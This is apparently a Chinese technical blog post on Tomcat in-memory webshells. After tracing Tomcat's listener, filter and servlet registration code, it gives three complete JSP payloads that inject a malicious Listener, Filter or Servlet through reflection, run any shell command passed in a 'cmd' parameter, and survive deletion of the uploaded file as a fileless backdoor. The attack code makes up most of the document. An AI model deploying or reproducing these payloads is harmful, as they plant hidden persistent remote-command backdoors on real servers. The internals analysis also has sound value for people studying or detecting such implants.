Skip to main content

Tomcat内存马

Tomcat 内存马能实现无文件落地来达到后门部署, 无回显的情况可以通过内存马的形式来返回执行结果。

1. Tomcat 容器​

Tomcat 中主要包括四种容器, Engine、Host、Context、Wrapper

  • Engine 为外部接口,可以配置多个 Host
  • 一个 Host 可以包含多个 Context (具体 web 应用)
  • 一个 Context 可以包含多个 Wrapper
  • 每个 Wrapper 对应一个 Servlet 方法

如下图所示 tomcat|875

context 是 web 应用的上下文数据,每个 context 都有唯一的根路由,假设使用 tomcat 部署了两套系统,根路由分别是 /shop 和 /manager 则会产生两个 context 且两者数据无关联, 要添加 context 需要在 server.xml 中配置 docbase。

在 web 应用中会包含多个路由比如登陆页、前端展示页等,不同的路由对应不同的 wrapper ,每个 wrapper 关联对应路由的 servlet 方法,执行 servlet 方法将结果返回到前台展示。

2. Listener 内存马​

请求网站的时候根据请求的根路由找到对应的 context 然后依次执行 listener 链的内容,再去执行 filter 链的内容,最后一个 filter 方法将会去执行 Servlet 的 service 方法将结果按照逆序流程返回。 servletContext 提供了 addFilter 、addLIstener、addServlet 方法实现动态注册,内存马也是通过此方式将恶意方法动态注册到链路中。关于 listener 和 filter 的使用可以参考 filter 使用

listener1

Tomcat 的 listener 必须继承 EventListener 接口,其中 ServletRequestListener 可以在每次请求初始化后触发,比较合适作为内存马植入点。通过 addListener 尝试添加一个 servletRequestListener 并在初始化方法内设置恶意代码。

<%
ListenR listenR = new ListenR();
request.getServletContext().addListener(listenR);
%>

<%!
public class ListenR implements ServletRequestListener{

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
int c = 1;
}
}
%>

执行后结果并不如意,控制台日志显示 无法将侦听器添加到上下文[]中,因为该上下文已初始化 意味着无法在运行中的应用中动态添加 listener。通过报错的堆栈可以看到问题出现在 ApplicationContext.addListener()

Stacktrace:]
java.lang.IllegalStateException: 无法将侦听器添加到上下文[]中,因为该上下文已初始化
at org.apache.catalina.core.ApplicationContext.checkState(ApplicationContext.java:1269)
at org.apache.catalina.core.ApplicationContext.addListener(ApplicationContext.java:1087)
at org.apache.catalina.core.ApplicationContextFacade.addListener(ApplicationContextFacade.java:624)
at org.apache.jsp.shell_jsp._jspService(shell_jsp.java:157)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:465)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)

层层跟进 addListener 方法,最终确定 addListener 方法会将传入的对象添加到 applicationEventListenersList 内,直接调用 addListener 无法通过 checkState()检查从而报错。

// org/apache/catalina/core/ApplicationContextFacade.java
public <T extends EventListener> void addListener(T t) {
if (SecurityUtil.isPackageProtectionEnabled()) {
doPrivileged("addListener", new Class[] { EventListener.class }, new Object[] { t });
} else {
context.addListener(t); // context = ApplicationContext
}
}

// org/apache/catalina/core/ApplicationContext.java
public <T extends EventListener> void addListener(T t) {
checkState("applicationContext.addListener.ise");
boolean match = false;
if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener ||
t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener ||
t instanceof HttpSessionAttributeListener) {
context.addApplicationEventListener(t); // context = StandardContext
match = true;
}

// org/apache/catalina/core/StandardContext.java
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener); // applicationEventListenersList = CopyOnWriteArrayList
}

2.1. listener exp​

我们可以利用 java 反射机制获取到 applicationEventListenersList 变量,直接操作该 list 的 add 方法添加 listener。可以分两步来创建 listener 内存马,同时可以添加一些辅助逻辑例如将 listener 添加到第一位确保一定能触发,判断是否已经添加避免重复添加。

  • step1: 编写恶意 Listener 类 并继承 ServletRequestListener,在 Initialized 方法内编写恶意代码。
  • step2: 通过反射机制获取到 applicationEventListenersList 变量,通过 add 方法添加恶意 listener。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.util.concurrent.CopyOnWriteArrayList" %>

<%
// 获取 applicationEventListenersList
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
Object applicationContext = field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = field.get(applicationContext);
field = standardContext.getClass().getDeclaredField("applicationEventListenersList");
field.setAccessible(true);
CopyOnWriteArrayList applicationEventListenersList = (CopyOnWriteArrayList) field.get(standardContext);

// 添加恶意 listener
ListenH listenH = new ListenH(request, response);
for (int i=0;i<applicationEventListenersList.size();i++){
if (applicationEventListenersList.get(i).getClass().equals(listenH.getClass())){
out.print("already added");
return;
}
}
CopyOnWriteArrayList tmp = new CopyOnWriteArrayList();
tmp.add(listenH);
tmp.addAll(applicationEventListenersList);
out.print(tmp);
field.set(standardContext,tmp);
%>

<%!
// 恶意 listner
public class ListenH implements ServletRequestListener {
public ServletResponse response;
public ServletRequest request;

ListenH(ServletRequest request, ServletResponse response) {
this.request = request;
this.response = response;
}

public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
this.response.getWriter().write(result);
}catch (Exception e){
}
}
}
%>

上传该 jsp 文件到 tomcat 服务器访问后即可完成恶意 listener 植入,植入完成后可清理掉 jsp 文件后续访问任意路由并带上 cmd 参数即可实现命令执行。

3. Filter 内存马​

filter 作为请求过滤器在 servlet 方法前触发,filterChan 即多个 filter 组成的链。创建 filter 时需要重写 doFilter 方法且在该方法最后一行调用 chan.dofilter 从而实现多个 filter 串成线一个接着一个的调用 doFilter,最后一个 filter 执行完后才进入 servlet 方法。

<%!
public class FilterH implements Filter{

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){

# TODO
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}
%>

尝试直接使用 addFilter 直接添加 Filter,发现出现和 Listener 一样的错误,已经初始化的数组无法再进行修改。

java.lang.IllegalStateException: 无法将筛选器添加到上下文[],因为该上下文已初始化
at org.apache.catalina.core.ApplicationContext.checkState(ApplicationContext.java:1269)
at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:779)
at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:761)
at org.apache.catalina.core.ApplicationContextFacade.addFilter(ApplicationContextFacade.java:434)
at org.apache.jsp.shell_jsp._jspService(shell_jsp.java:165)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:465)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
......

在 Servlet 路由方法内打断点,观察请求过程中 FilterChain 的执行过程。在请求堆栈中 StandardContextValve 内创建了 FilterChain,并在后续调用 FilterChain 的 doFilter 方法。

createFilterChain:81, ApplicationFilterFactory (org.apache.catalina.core)
invoke:142, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:483, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:679, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:617, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:932, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1694, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
......

跟进 StandardContextValve 内部调用的 createFilterChain 方法,程序先通过 findFilterMaps 获取所有 filterMaps,然后通过 findFilterConfig 获取对应 map 的 FilterConfig,如果 config 存在则将其添加到 filterChain 中。

// org/apache/catalina/core/StandardWrapperValve.java
......
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);


// org/apache/catalina/core/ApplicationFilterFactory.java
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
......
FilterMap filterMaps[] = context.findFilterMaps();
......
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

如此一来构造 filter 内存马只需要达成 2 个条件。

  1. 在 filterMaps 中插入恶意 filterMap
  2. 在 FilterConfigs 中插入恶意 filterConfig

先尝试插入 filterMap,通过阅读代码 findFilterMaps 方法最终确认返回的 Map 是 ContextFilterMaps 对象的 array 变量。且该 map 主要存放的内容为 filter 名和需要匹配的 URL,后续利用 java 反射机制即可完成插入。

// org/apache/catalina/core/StandardContext.java

private final ContextFilterMaps filterMaps = new ContextFilterMaps();

public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}

private static final class ContextFilterMaps {
private FilterMap[] array = new FilterMap[0];

public FilterMap[] asArray() {
synchronized (lock) {
return array;
}
}
}

FilterConfig 为 HashMap<String,ApplicationFilterConfig> key 设置成我们创建的 fileterName,value 为 ApplicationFilterConfig 对象。创建该对象需要两个参数 context 和 FilterDef,context 直接传入 standardContext 即可,FilterDef 直接 new 创建即可,需要注意 FilterDef 需要设置两个重要参数,一个是 filter 设置成我们的恶意 filter 对象,一个是 filtername 设置成我们创建的 filterName 。

// org/apache/catalina/core/ApplicationFilterConfig.java
public ApplicationFilterConfig(Context context, FilterDef filterDef){
super();

this.context = context;
this.filterDef = filterDef;
......
}

// org/apache/tomcat/util/descriptor/web/FilterDef.java
public class FilterDef implements Serializable {
private transient Filter filter = null;
private String filterName = null;
......

3.1. filter exp​

整理好逻辑开始构造 filter 内存马,分三步走。

  1. 创建恶意 filter 对象
  2. 将 filtername 和需要过滤的路由存入 filterMaps
  3. 创建 filterConfig 在其内设置 filter 为我们的恶意 filter 对象,filtername 为我们恶意对象的 filtername,存入 filterConfigs。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.IOException" %>

<%
String filterName = "shell";
FileterH fileter = new FileterH(); // 创建恶意filter对象

// 在 filterMaps 的首位插入恶意filterMap
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
Object applicationContext = field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = field.get(applicationContext);
field = standardContext.getClass().getDeclaredField("filterMaps");
field.setAccessible(true);
Object filterMaps = field.get(standardContext);
field = filterMaps.getClass().getDeclaredField("array");
field.setAccessible(true);
FilterMap[] array = (FilterMap[]) field.get(filterMaps);
FilterMap shellFilter = new FilterMap();
shellFilter.setFilterName(filterName);
shellFilter.addURLPattern("/*");

// 在 filterConfigs 中添加恶意 filterConfigFilterMap
FilterMap tmp[] = new FilterMap[array.length + 1];
for (int i=0;i<array.length;i++){
if (array[i].getFilterName().equals(filterName)){
return;
};
tmp[i+1] = array[i];
}
tmp[0] = shellFilter;
field.set(filterMaps,tmp);
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap hashMap = (HashMap) field.get(standardContext);
FilterDef filterDef = new FilterDef();
filterDef.setFilter(fileter);
filterDef.setFilterName(filterName);
ApplicationFilterConfig myConfig= new ApplicationFilterConfig((Context) standardContext, filterDef);
hashMap.put(filterName,myConfig);
%>


<%!
// 构造恶意 filter
public class FileterH implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException {
try {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
response.getWriter().write(result);
chain.doFilter(request, response);
}catch (Exception e){
chain.doFilter(request, response);
}
}
@Override
public void destroy() {
}
}
%>

效果和 listener 一样,清除 jsp 文件后调用任意存在的路由依旧可以进行命令执行。

4. Servlet 内存马​

最后尝试使用 addServlet 方法创建 Servlet 内存马。同样直接调用会提示已初始化的上下文无法修改,不过将 checkState 方法后面的代码块手动构造触发,通过分析 addServlet 方法接收 servletName 和具体的 servlet 对象,利用传输的 servlet 对象作为参数创建一个 wrapper 对象,最后调用 ApplicationServletRegistration 方法完成创建并返回 ServletRegistration.Dynamic 对象。

// org/apache/catalina/core/ApplicationContext.java
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet,
......
checkState("applicationContext.addServlet.ise"); //已初始化导致后续操作无法进行

Wrapper wrapper = (Wrapper) context.findChild(servletName);
if (wrapper == null) {
wrapper = context.createWrapper();
wrapper.setName(servletName);
context.addChild(wrapper);
} else {...}
......

ServletSecurity annotation = null;
if (servlet == null) {...}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
......

ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
}

既然返回的是一个对象,那后续这个对象需要做哪些操作才能完成 servlert 的添加呢。查询 addServlet 方法调用发现在 Test 测试用例中有关于这个方法的使用,addServlert 返回对象后调用该对象的 addMapping 方法即可完成 servlet 的创建。

//org/apache/catalina/startup/TesterServletContainerInitializer1.java

public void onStartup(Set<Class<?>> c, ServletContext ctx)
throws ServletException {
Servlet s = new TesterServlet();
ServletRegistration.Dynamic r = ctx.addServlet("TesterServlet1", s);
r.addMapping("/TesterServlet1");
}

4.1. servlet exp​

整理好逻辑开始创建 servlet 内存马,分三步走。

  1. 创建恶意 servlet 对象
  2. 按照 addfilter 内的代码完成 wrapper 对象和 ServletRegistration.Dynamic 对象的创建
  3. 调用 ServletRegistration.Dynamic 的 addMapping 方法注册路由
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.util.concurrent.CopyOnWriteArrayList" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.ApplicationServletRegistration" %>

<%
ServletH servletH = new ServletH();
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
Object applicationContext = field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
Container child = standardContext.findChild("/manager");
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
standardContext.addChild(wrapper);
wrapper.setServletClass(servletH.getClass().getName());
wrapper.setServlet(servletH);
ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping("/shell");
%>

<%!
// 恶意 listner
public class ServletH implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try {
String cmder = req.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
res.getWriter().write(result);
}catch (Exception e){
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {
}
}
%>

成功注册 shell 路由实现 servlet 内存马。